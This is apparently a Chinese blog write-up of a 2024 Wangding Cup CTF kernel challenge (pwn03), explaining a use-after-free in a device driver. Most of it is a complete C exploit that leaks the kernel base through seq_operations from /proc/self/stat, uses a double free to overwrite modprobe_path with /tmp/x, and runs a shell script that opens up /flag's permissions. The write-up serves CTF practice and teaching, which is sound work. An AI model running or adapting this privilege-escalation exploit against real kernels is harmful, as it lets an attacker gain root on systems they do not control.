2024年网鼎杯玄武组pwn03

白给题捏~~

有object的读写功能,存在无限次数的uaf

分为两个步骤,leak 和 cat flag

leak1:

  1. 测试没有开启CONFIG_MEMCG_KMEM,所以leak的时候可采用任意结构体的很多,这里采用最为简单的seq_operation,或者user_key_payload/pipe buffer….
  2. uaf后打开/proc/self/stat占住堆块,利用读功能,读出函数地址,然后计算偏移

cat flag:

uaf之后可以对object进行读写,因此可以采用double free,释放后用write功能清空object,题目同时也没有开启

CONFIG_STATIC_USERMODEHELPER,因此可以double free 堆块后,劫持modprobe_path,覆写路径为/tmp/x,执行自定义sh脚本,最后即可拿到flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
#define _GNU_SOURCE
#include <stdio.h>
#include <fcntl.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/ioctl.h>

int dev_fd;

typedef struct{
long size;
}req;

void alloc(long size){
req data ={
.size = size,
};
ioctl(dev_fd, 0, data);
}

void del(){
req data;
ioctl(dev_fd, 1, data);
}

void kread(size_t *buf,int size){
read(dev_fd, buf, size);
}

void kwrite(size_t *buf,int size){
write(dev_fd, buf, size);
}

int main()
{
dev_fd = open("/dev/easy",2);
if (dev_fd < 0)
perror("[X] Error Open");

// UAF
alloc(0x20);
del();

int seq_fd = open("/proc/self/stat",0);

size_t buf[0x100];
kread(buf,0x20);

size_t kernel_offset = buf[0] - 0xffffffff8125bcc0;
size_t kernel_base = kernel_offset + 0xffffffff81000000;
printf("offset 0x%lx\n", kernel_offset);
printf("base 0x%lx\n", kernel_base);

alloc(0x60);

del();

size_t tmp[0x20];
kread(tmp, 0x8);
printf("val of fd 0x%lx\n", tmp[0]);

//DF
del();

size_t modp_path = kernel_offset + 0xffffffff81e58b80;
buf[0] = modp_path-8;

kwrite(buf, 8);

alloc(0x60);
buf[0] = tmp[0];
kwrite(buf, 0x8);

alloc(0x60);

buf[0] = 0;
buf[1] = 0x00782F706D742F; // path = /tmp/x

kwrite(buf, 0x10);

/*modp hijack*/
system("echo -ne '#!/bin/sh\n/bin/chmod 777 /flag' > /tmp/x");
system("chmod +x /tmp/x");
system("echo -ne '\\xff\\xff\\xff\\xff' > /tmp/dummy");
system("chmod +x /tmp/dummy");
system("/tmp/dummy");
system("cat /flag");

return 0;
}


2024年网鼎杯玄武组pwn03
http://example.com/2024/11/06/网鼎玄武组pwn03/
作者
flyyy
发布于
2024年11月6日
许可协议